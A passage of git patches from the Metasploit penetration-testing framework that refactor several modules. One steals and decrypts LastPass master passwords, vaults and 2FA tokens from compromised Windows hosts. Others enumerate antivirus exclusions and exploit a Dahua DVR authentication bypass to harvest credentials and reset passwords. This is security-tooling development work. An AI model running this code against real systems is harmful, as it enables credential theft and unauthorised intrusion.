"lp.loginpws" + data = read_remote_file(path) if client.fs.file.exists?(path) # Read file if it exists end - # Extract master passwords - path = localstorage_db_path + client.fs.file.separator + "lp.loginpws" - begin - data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists - rescue EOFError - vprint_error "File #{path} is empty" - data = nil - end + # Get encrypted master passwords data = windows_unprotect(data) if data != nil && data.match(/^AQAAA.+/) # Verify Windows protection return credentials if data.blank? # No passwords stored creds_per_user = data.split("|") @@ -311,45 +339,43 @@ class Metasploit3 < Msf::Post def extract_credentials(account_map) account_map.each_pair do |account, browser_map| - browser_map.each_pair do |browser, paths| + browser_map.each_pair do |browser, lp_data| account_map[account][browser]['lp_creds'] = {} - if browser == 'Firefox' - paths['lp_db_path'].each do |path| - loot_path = loot_file(path, nil, 'firefox.preferences', "text/javascript", "Firefox preferences file #{path}") - ffcreds = firefox_credentials(loot_path, paths['localstorage_db'] ) # Extract usernames and passwords from preference file - unless ffcreds.blank? - ffcreds.each do |creds| - if creds[1].blank? # No master password found - account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => nil} - else - sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0])) - sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin - creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1])) - account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => creds[1]} - end + if browser.match(/Firefox|IE/) + if browser == "Firefox" + ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db']) + else + ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db']) + end + unless ieffcreds.blank? + ieffcreds.each do |creds| + if creds[1].blank? # No master password found + account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => nil} + else + sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0])) + sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin + creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1])) + account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = {'lp_password' => creds[1]} end end - end else # Chrome, Safari and Opera - paths['lp_db_path'].each do |path| - loot_path = loot_file(path, nil, "#{browser.downcase}.lastpass.database", "application/x-sqlite3", "#{account}'s #{browser} LastPass database #{path}") - account_map[account][browser]['lp_db_loot'] = loot_path + loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", "application/x-sqlite3", "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}") + account_map[account][browser]['lp_db_loot'] = loot_path - # Parsing/Querying the DB - db = SQLite3::Database.new(loot_path) - result = db.execute( - "SELECT username, password FROM LastPassSavedLogins2 " \ - "WHERE username IS NOT NULL AND username != '' " \ - ) + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + result = db.execute( + "SELECT username, password FROM LastPassSavedLogins2 " \ + "WHERE username IS NOT NULL AND username != '' " \ + ) - for row in result - if row[0] - sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0]) - sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin - row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password - account_map[account][browser]['lp_creds'][row[0]] = {'lp_password' => row[1]} - end + for row in result + if row[0] + sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0]) + sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin + row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password + account_map[account][browser]['lp_creds'][row[0]] = {'lp_password' => row[1]} end end end @@ -361,9 +387,9 @@ class Metasploit3 < Msf::Post def extract_2fa_tokens(account_map) account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| - if browser == 'Firefox' + if browser.match(/Firefox|IE/) path = lp_data['localstorage_db'] + client.fs.file.separator + "lp.suid" - data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists + data = read_remote_file(path) if client.fs.file.exists?(path) #Read file if it exists data = windows_unprotect(data) if data != nil && data.size > 32 # Verify Windows protection loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}") account_map[account][browser]['lp_2fa'] = data @@ -414,14 +440,14 @@ class Metasploit3 < Msf::Post else # IE iterations_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key_ie.itr" end - iterations = read_file(iterations_path) if client.fs.file.exists?(iterations_path) # Read file if it exists + iterations = read_remote_file(iterations_path) if client.fs.file.exists?(iterations_path) # Read file if it exists iterations = nil if iterations.blank? # Verify content lp_data['lp_creds'][username]['iterations'] = iterations # Find encrypted vault vault_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml" vault_path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.sxml" if !client.fs.file.exists?(vault_path) - vault = read_file(vault_path) + vault = read_remote_file(vault_path) vault = windows_unprotect(vault) if vault != nil && vault.match(/^AQAAA.+/) # Verify Windows protection vault = vault.sub(/iterations=.*;/, "") if client.fs.file.exists?(vault_path) # Remove iterations info loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault") @@ -461,7 +487,7 @@ class Metasploit3 < Msf::Post lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations']) else # Get vault key decrypting the locally stored one or from the disabled OTP if !browser_checked - #decrypt_local_vault_key(account, browser_map) + ##decrypt_local_vault_key(account, browser_map) browser_checked = true end if lp_data['lp_creds'][username]['vault_key'] == nil # If no vault key was found yet, try with dOTP @@ -490,16 +516,8 @@ class Metasploit3 < Msf::Post query = nil print_error "Browser #{browser} not recognized" end + loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", "application/x-sqlite3", "#{account}'s #{browser} cookies DB") - data = read_file(lp_data['cookies_db']) - loot_path = store_loot( - "#{browser.downcase}.lastpass.cookies", - 'application/x-sqlite3', - session, - data, - nil, - "#{account}'s #{browser} cookies DB" - ) # Parsing/Querying the DB db = SQLite3::Database.new(loot_path) begin @@ -540,7 +558,7 @@ class Metasploit3 < Msf::Post def extract_otpbin(account, browser, username, lp_data) if browser == 'Firefox' path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp" - otpbin = read_file(path) if client.fs.file.exists?(path) #Read file if it exists + otpbin = read_remote_file(path) if client.fs.file.exists?(path) #Read file if it exists otpbin = windows_unprotect(otpbin) if otpbin != nil && otpbin.match(/^AQAAA.+/) return otpbin else # Chrome, Safari and Opera @@ -678,14 +696,7 @@ class Metasploit3 < Msf::Post unless account_map.empty? # Loot passwords print_good lastpass_vault_data_table.to_s - path = store_loot( - "lastpass.#{username}.passwords", - "text/csv", - session, - lastpass_vault_data_table.to_csv, - nil, - "LastPass Vault Passwords from #{username}" - ) + loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", "text/csv", "LastPass Vault Passwords from #{username}") end end end @@ -730,7 +741,9 @@ class Metasploit3 < Msf::Post # Reads a remote file and loots it def loot_file(path, data, title, type, description) - data = read_file(path) if data == nil + data = read_remote_file(path) if data == nil # If no data is passed, read remote file + return nil if data == nil + loot_path = store_loot( title, type, @@ -739,7 +752,20 @@ class Metasploit3 < Msf::Post nil, description ) - return loot_path + loot_path + end + + + # Reads a remote file and returns the data + def read_remote_file(path) + data = nil + + begin + data = read_file(path) + rescue EOFError + vprint_error "File #{path} is empty" + end + data end end From fc9d818837b61ceb6c397fec3a7b05ef320c9601 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Fri, 4 Dec 2015 10:15:56 +0100 Subject: [PATCH 1424/2172] change youtube url --- modules/post/multi/manage/play_youtube.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/manage/play_youtube.rb b/modules/post/multi/manage/play_youtube.rb index 48cdefcd79..a80919af62 100644 --- a/modules/post/multi/manage/play_youtube.rb +++ b/modules/post/multi/manage/play_youtube.rb @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Post def win_start_video(id) iexplore_path = "C:\\Program Files\\Internet Explorer\\iexplore.exe" begin - session.sys.process.execute(iexplore_path, "-k http://youtube.com/embed/#{id}?#{PLAY_OPTIONS}") + session.sys.process.execute(iexplore_path, "-k https://www.youtube.com/embed/#{id}?#{PLAY_OPTIONS}") rescue Rex::Post::Meterpreter::RequestError => e return false end From 1968a76863a603a71dc6d2db7edc91cbff4c735d Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 4 Dec 2015 10:27:14 -0800 Subject: [PATCH 1425/2172] Simplify AV enumeration code --- .../post/windows/gather/enum_av_excluded.rb | 44 +++++-------------- 1 file changed, 12 insertions(+), 32 deletions(-) diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index 79fe5df0ab..aa9eb62044 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -28,43 +28,23 @@ class Metasploit3 < Msf::Post register_options( [ OptBool.new('DEFENDER', [true, 'Enumerate exclusions for Microsoft Defener', true]), - OptBool.new('ESSENTIALS', [true, 'Enumerate exclusions for Microsoft Security Essentials', true]), + OptBool.new('ESSENTIALS', [true, 'Enumerate exclusions for Microsoft Security Essentials/Antimalware', true]), OptBool.new('SEP', [true, 'Enumerate exclusions for Symantec Endpoint Protection (SEP)', true]) ] ) end - def enum_mssec - if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft").include?("Microsoft Antimalware") - print_status "MS Security Essentials Identified" - return true - else - return false - end - rescue - return false - end + DEFENDER_BASE_KEY = 'HKLM\\SOFTWARE\\Microsoft\\Windows Defender' + ESSENTIALS_BASE_KEY = 'HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware' + SEP_BASE_KEY = 'HKLM\\SOFTWARE\\Symantec\\Symantec Endpoint Protection' - def enum_defender - if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft").include?("Windows Defender") - print_status "Windows Defender Identified" - return true + def av_installed?(base_key, product) + if registry_key_exist?(base_key) + print_status("Found #{product}") + true else - return false + false end - rescue - return false - end - - def enum_sep - if registry_enumkeys("HKLM\\SOFTWARE\\Symantec").include?("Symantec Endpoint Protection") - print_status "SEP Identified" - return true - else - return false - end - rescue - return false end def excluded_sep @@ -130,15 +110,15 @@ class Metasploit3 < Msf::Post print_status("Enumerating Excluded Paths for AV on #{sysinfo['Computer']}") found = false - if datastore['DEFENDER'] && enum_defender + if datastore['DEFENDER'] && av_installed?(DEFENDER_BASE_KEY, 'Microsoft Defender') found = true excluded_defender end - if datastore['ESSENTIALS'] && enum_mssec + if datastore['ESSENTIALS'] && av_installed?(ESSENTIALS_BASE_KEY, 'Microsoft Security Essentials / Antimalware') found = true excluded_mssec end - if datastore['SEP'] && enum_sep + if datastore['SEP'] && av_installed?(SEP_BASE_KEY, 'Symantec Endpoint Protection') found = true excluded_sep end From 16e4d6a727b851425b990160acd3c309b9afa63a Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Fri, 4 Dec 2015 14:08:18 -0500 Subject: [PATCH 1426/2172] fixedd more rubocop errors, still needs work --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 48 ++++++++----------- 1 file changed, 21 insertions(+), 27 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 3baebc1b47..32ee4755e4 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -84,20 +84,18 @@ class Metasploit3 < Msf::Auxiliary connect sock.put(VERSION) data = sock.get_once - if data =~ /[\x00]{8,}([[:print:]]+)/ - ver = Regexp.last_match[1] - print_good("#{peer} -- version: #{ver}") - end + return unless data =~ /[\x00]{8,}([[:print:]]+)/ + ver = Regexp.last_match[1] + print_good("#{peer} -- version: #{ver}") end def grab_serial connect sock.put(SN) data = sock.get_once - if data =~ /[\x00]{8,}([[:print:]]+)/ - serial = Regexp.last_match[1] - print_good("#{peer} -- serial number: #{serial}") - end + return unless data =~ /[\x00]{8,}([[:print:]]+)/ + serial = Regexp.last_match[1] + print_good("#{peer} -- serial number: #{serial}") end def grab_email @@ -112,17 +110,15 @@ class Metasploit3 < Msf::Auxiliary print_status(" Server Port: #{mailhost[1]}") unless mailhost[1].nil? print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? end - if !data[5].nil? && !data[6].nil? - print_good(" SMTP User: #{data[5]}") unless data[5].nil? - print_good(" SMTP Password: #{data[6]}") unless data[6].nil? - muser = "#{data[5]}" - mpass = "#{data[6]}" - mailserver = "#{mailhost[0]}" - mailport = "#{mailhost[1]}" - if !mailserver.to_s.strip.length == 0 && !mailport.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 - report_email_creds(mailserver, mailport, muser, mpass) if !mailserver.nil? && !mailport.nil? && !muser.nil? && !mpass.nil? - end - end + return unless data[5].blank? && data[6].blank? + print_good(" SMTP User: #{data[5]}") + print_good(" SMTP Password: #{data[6]}") + muser = "#{data[5]}" + mpass = "#{data[6]}" + mailserver = "#{mailhost[0]}" + mailport = "#{mailhost[1]}" + return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank? + report_email_creds(mailserver, mailport, muser, mpass) end def grab_ddns @@ -146,7 +142,7 @@ class Metasploit3 < Msf::Auxiliary print_status(" Domain: #{ddns_domain}") print_good(" Username: #{ddns_user}") print_good(" Password: #{ddns_pass}") - if !ddns_server.to_s.strip.length == 0 && !ddns_port.to_s.strip.length == 0 && !ddns_user.to_s.strip.length == 0 && !ddns_pass.to_s.strip.length == 0 + unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank? report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) end end @@ -187,10 +183,9 @@ class Metasploit3 < Msf::Auxiliary sock.put(CHANNELS) data = sock.get_once.split('&&') disconnect - if data.length > 1 - print_good("#{peer} -- camera channels:") - data.each_with_index { |val, index| print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}") } - end + return unless data.length > 1 + print_good("#{peer} -- camera channels:") + data.each_with_index { |val, index| print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}") } end def grab_users @@ -246,9 +241,8 @@ class Metasploit3 < Msf::Auxiliary sock.put(u3) sock.get_once sock.put(u1) - if sock.get_once - print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}") - end + return unless sock.get_once + print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}") end def clear_logs From 81ee01a93e435d06d583bdc49ef33ae9b9eaab16 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 4 Dec 2015 11:42:03 -0800 Subject: [PATCH 1427/2172] Simplify exclusion extraction and printing --- .../post/windows/gather/enum_av_excluded.rb | 89 +++++++++---------- 1 file changed, 42 insertions(+), 47 deletions(-) diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index aa9eb62044..fbfe006a2a 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -27,20 +27,23 @@ class Metasploit3 < Msf::Post register_options( [ - OptBool.new('DEFENDER', [true, 'Enumerate exclusions for Microsoft Defener', true]), + OptBool.new('DEFENDER', [true, 'Enumerate exclusions for Microsoft Defender', true]), OptBool.new('ESSENTIALS', [true, 'Enumerate exclusions for Microsoft Security Essentials/Antimalware', true]), OptBool.new('SEP', [true, 'Enumerate exclusions for Symantec Endpoint Protection (SEP)', true]) ] ) end + DEFENDER = 'Windows Defender' DEFENDER_BASE_KEY = 'HKLM\\SOFTWARE\\Microsoft\\Windows Defender' + ESSENTIALS = 'Microsoft Security Essentials / Antimalware' ESSENTIALS_BASE_KEY = 'HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware' + SEP = 'Symantec Endpoint Protection (SEP)' SEP_BASE_KEY = 'HKLM\\SOFTWARE\\Symantec\\Symantec Endpoint Protection' def av_installed?(base_key, product) if registry_key_exist?(base_key) - print_status("Found #{product}") + print_good("Found #{product}") true else false @@ -48,77 +51,69 @@ class Metasploit3 < Msf::Post end def excluded_sep - print_status "Excluded Locations:" - keyadm = "HKLM\\SOFTWARE\\Symantec\\Symantec Endpoint Protection\\AV\\Exclusions\\ScanningEngines\\Directory\\Admin" - if (found_keysadm = registry_enumkeys(keyadm)) - found_keysadm.each do |vals| - full = keyadm + "\\" + vals - values = registry_getvaldata(full, "DirectoryName") - print_good "#{values}" - end - else - print_error "No Admin Locations Found" - end + base_exclusion_key = "#{SEP_BASE_KEY}\\Exclusions\\ScanningEngines\\Directory" + admin_exclusion_key = "#{base_exclusion_key}\\Admin" + admin_exclusion_key = "#{base_exclusion_key}\\Client" - keycli = "HKLM\\SOFTWARE\\Symantec\\Symantec Endpoint Protection\\AV\\Exclusions\\ScanningEngines\\Directory\\Client" - if (found_keyscli = registry_enumkeys(keycli)) - found_keyscli.each do |vals| - full = keycli + "\\" + vals - values = registry_getvaldata(full, "DirectoryName") - print_good "#{values}" + paths = [] + if (admin_exclusion_keys = registry_enumkeys(admin_exclusion_key)) + admin_exclusion_keys.map do |key| + paths << registry_getvaldata("#{admin_exclusion_key}\\#{key}", 'DirectoryName') + ' (admin)' end - else - print_error "No Client Locations Found" end - end - - def excluded_mssec - print_status "Excluded Locations:" - keyms = "HKLM\\SOFTWARE\\Microsoft\\Microsoft Antimalware\\Exclusions\\Paths\\" - if (found = registry_enumvals(keyms)) - found.each do |num| - print_good "#{num}" + if (client_exclusion_keys = registry_enumkeys(client_exclusion_key)) + client_exclusion_keys.map do |key| + paths << registry_getvaldata("#{client_exclusion_key}\\#{key}", 'DirectoryName') + ' (client)' end - else - print_error "No Excluded Locations Found" end + print_exclusions_table(SEP, paths) end def excluded_defender - print_status "Excluded Locations:" - keyms = "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\" - if (found = registry_enumvals(keyms)) - found.each do |num| - print_good "#{num}" - end - else - print_error "No Excluded Locations Found" + print_exclusions_table(DEFENDER, registry_enumvals("#{DEFENDER_BASE_KEY}\\Exclusions\\Paths")) + end + + def excluded_mssec + print_exclusions_table(ESSENTIALS, registry_enumvals("#{ESSENTIALS_BASE_KEY}\\Exclusions\\Paths")) + end + + def print_exclusions_table(product, exclusions) + unless exclusions && !exclusions.empty? + print_status("No exclusions for #{product}") + return end + table = Rex::Ui::Text::Table.new( + 'Header' => "#{product} excluded paths", + 'Indent' => 1, + 'Columns' => %w(path) + ) + exclusions.map { |exclusion| table << [exclusion] } + print_line(table.to_s) end def setup + if sysinfo['Architecture'] =~ /WOW64/ + fail_with(Failure::BadConfig, 'You are running this module from a 32-bit process on a 64-bit machine. ' \ + 'Migrate to a 64-bit process and try again') + end unless datastore['DEFENDER'] || datastore['ESSENTIALS'] || datastore['SEP'] fail_with(Failure::BadConfig, 'Must set one or more of DEFENDER, ESSENTIALS or SEP to true') end end def run - if sysinfo['Architecture'] =~ /WOW64/ - print_error "You are running this module from a 32-bit process on a 64-bit machine. Migrate to a 64-bit process and try again" - return - end - print_status("Enumerating Excluded Paths for AV on #{sysinfo['Computer']}") + found = false - if datastore['DEFENDER'] && av_installed?(DEFENDER_BASE_KEY, 'Microsoft Defender') + if datastore['DEFENDER'] && av_installed?(DEFENDER_BASE_KEY, DEFENDER) found = true excluded_defender end - if datastore['ESSENTIALS'] && av_installed?(ESSENTIALS_BASE_KEY, 'Microsoft Security Essentials / Antimalware') + if datastore['ESSENTIALS'] && av_installed?(ESSENTIALS_BASE_KEY, ESSENTIALS) found = true excluded_mssec end - if datastore['SEP'] && av_installed?(SEP_BASE_KEY, 'Symantec Endpoint Protection') + if datastore['SEP'] && av_installed?(SEP_BASE_KEY, SEP) found = true excluded_sep end From 6ce54f15ee93131f620ac8288ecc4c22ebf4e26c Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Fri, 4 Dec 2015 14:46:26 -0500 Subject: [PATCH 1428/2172] added rex table for ddns func --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 32ee4755e4..b2eef23867 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -126,6 +126,11 @@ class Metasploit3 < Msf::Auxiliary sock.put(DDNS) return unless (response = sock.get_once) data = response.split(/&&[0-1]&&/) + ddns_table = Rex::Ui::Text::Table.new({ + 'Header' => 'Dahua DDNS Settings', + 'Indent' => 1, + 'Columns' => ['DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password'] + }) data.each_with_index do |val, index| next if index == 0 val = val.split("&&") @@ -135,13 +140,8 @@ class Metasploit3 < Msf::Auxiliary ddns_domain = "#{val[3]}" ddns_user = "#{val[4]}" ddns_pass = "#{val[5]}" - print_status("DDNS Settings @ #{rhost}:#{rport}!:") - print_status(" DDNS Service: #{ddns_service}") - print_status(" DDNS Server: #{ddns_server}") - print_status(" DDNS Port: #{ddns_port}") - print_status(" Domain: #{ddns_domain}") - print_good(" Username: #{ddns_user}") - print_good(" Password: #{ddns_pass}") + ddns_table << ["#{ddns_service}", "#{ddns_server}", "#{ddns_port}","#{ddns_domain}", "#{ddns_user}", "#{ddns_pass}"] + ddns_table.print unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank? report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) end From 4e0ab9b68f10de707a5202e12770bc496b39bf14 Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Fri, 4 Dec 2015 15:10:02 -0500 Subject: [PATCH 1429/2172] fixed ddns_creds import issue, by using rhost and commenting why it needs to be used --- modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index b2eef23867..590010ed55 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -143,7 +143,7 @@ class Metasploit3 < Msf::Auxiliary ddns_table << ["#{ddns_service}", "#{ddns_server}", "#{ddns_port}","#{ddns_domain}", "#{ddns_user}", "#{ddns_pass}"] ddns_table.print unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank? - report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) + report_ddns_cred(rhost, ddns_port, ddns_user, ddns_pass) end end end @@ -319,9 +319,12 @@ class Metasploit3 < Msf::Auxiliary create_credential_login(login_data) end - def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) + def report_ddns_cred(rhost, ddns_port, ddns_user, ddns_pass) service_data = { - address: ddns_server, + # if a system returns a domain name for ddns_server this will fail to + # input into the db because the creds api expects an inet record. This has to be set to RHOST until issue #3968 is + # sorted in msf framework. + address: rhost, port: ddns_port, service_name: 'ddns settings', protocol: 'tcp', From 78a303974fb501d3c97e7d5fec7e1e6640e3457a Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 4 Dec 2015 12:19:17 -0800 Subject: [PATCH 1430/2172] Handle empty exclusions better --- modules/post/windows/gather/enum_av_excluded.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index fbfe006a2a..681016310c 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -78,7 +78,9 @@ class Metasploit3 < Msf::Post end def print_exclusions_table(product, exclusions) - unless exclusions && !exclusions.empty? + exclusions ||= [] + exclusions = exclusions.compact.reject { |e| e.blank? } + if exclusions.empty? print_status("No exclusions for #{product}") return end From 385e5a9fe1bb1ddfc4a0d4c72cc5bbbba86cb4a3 Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Fri, 4 Dec 2015 15:28:01 -0500 Subject: [PATCH 1431/2172] fixed more rubocop issues with the rex table for ddns --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 590010ed55..0a7d96ebfe 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -126,11 +126,11 @@ class Metasploit3 < Msf::Auxiliary sock.put(DDNS) return unless (response = sock.get_once) data = response.split(/&&[0-1]&&/) - ddns_table = Rex::Ui::Text::Table.new({ - 'Header' => 'Dahua DDNS Settings', - 'Indent' => 1, - 'Columns' => ['DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password'] - }) + ddns_table = Rex::Ui::Text::Table.new( + 'Header' => 'Dahua DDNS Settings', + 'Indent' => 1, + 'Columns' => ['DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password'] + ) data.each_with_index do |val, index| next if index == 0 val = val.split("&&") @@ -140,7 +140,7 @@ class Metasploit3 < Msf::Auxiliary ddns_domain = "#{val[3]}" ddns_user = "#{val[4]}" ddns_pass = "#{val[5]}" - ddns_table << ["#{ddns_service}", "#{ddns_server}", "#{ddns_port}","#{ddns_domain}", "#{ddns_user}", "#{ddns_pass}"] + ddns_table << ["#{ddns_service}", "#{ddns_server}", "#{ddns_port}", "#{ddns_domain}", "#{ddns_user}", "#{ddns_pass}"] ddns_table.print unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank? report_ddns_cred(rhost, ddns_port, ddns_user, ddns_pass) @@ -256,7 +256,7 @@ class Metasploit3 < Msf::Auxiliary "#{rhost}:#{rport}" end - def run_host(ip) + def run_host(_ip) begin connect sock.put(U1) From e7d2eb6ad9af6b7d0fb845612c2af65bb68bb6ff Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 4 Dec 2015 12:35:42 -0800 Subject: [PATCH 1432/2172] Wire in support for showing process and file extension exclusions --- .../post/windows/gather/enum_av_excluded.rb | 27 ++++++++++++------- 1 file changed, 18 insertions(+), 9 deletions(-) diff --git a/modules/post/windows/gather/enum_av_excluded.rb b/modules/post/windows/gather/enum_av_excluded.rb index 681016310c..54265f2151 100644 --- a/modules/post/windows/gather/enum_av_excluded.rb +++ b/modules/post/windows/gather/enum_av_excluded.rb @@ -13,8 +13,13 @@ class Metasploit3 < Msf::Post super( update_info( info, - 'Name' => 'Windows Antivirus Excluded Locations Enumeration', - 'Description' => 'This module will enumerate all excluded directories within supported AV products', + 'Name' => 'Windows Antivirus Exclusions Enumeration', + 'Description' => %q( + This module will enumerate the file, directory, process and + extension-based exclusions from supported AV products, which + currently includes Microsoft Defender, Microsoft Security + Essentials/Antimalware, and Symantec Endpoint Protection. + ), 'License' => MSF_LICENSE, 'Author' => [ 'Andrew Smith', # original metasploit module @@ -66,28 +71,32 @@ class Metasploit3 < Msf::Post paths << registry_getvaldata("#{client_exclusion_key}\\#{key}", 'DirectoryName') + ' (client)' end end - print_exclusions_table(SEP, paths) + print_exclusions_table(SEP, 'path', paths) end def excluded_defender - print_exclusions_table(DEFENDER, registry_enumvals("#{DEFENDER_BASE_KEY}\\Exclusions\\Paths")) + print_exclusions_table(DEFENDER, 'extension', registry_enumvals("#{DEFENDER_BASE_KEY}\\Exclusions\\Extensions")) + print_exclusions_table(DEFENDER, 'path', registry_enumvals("#{DEFENDER_BASE_KEY}\\Exclusions\\Paths")) + print_exclusions_table(DEFENDER, 'process', registry_enumvals("#{DEFENDER_BASE_KEY}\\Exclusions\\Processes")) end def excluded_mssec - print_exclusions_table(ESSENTIALS, registry_enumvals("#{ESSENTIALS_BASE_KEY}\\Exclusions\\Paths")) + print_exclusions_table(ESSENTIALS, 'extension', registry_enumvals("#{ESSENTIALS_BASE_KEY}\\Exclusions\\Extensions")) + print_exclusions_table(ESSENTIALS, 'path', registry_enumvals("#{ESSENTIALS_BASE_KEY}\\Exclusions\\Paths")) + print_exclusions_table(ESSENTIALS, 'process', registry_enumvals("#{ESSENTIALS_BASE_KEY}\\Exclusions\\Processes")) end - def print_exclusions_table(product, exclusions) + def print_exclusions_table(product, exclusion_type, exclusions) exclusions ||= [] exclusions = exclusions.compact.reject { |e| e.blank? } if exclusions.empty? - print_status("No exclusions for #{product}") + print_status("No #{exclusion_type} 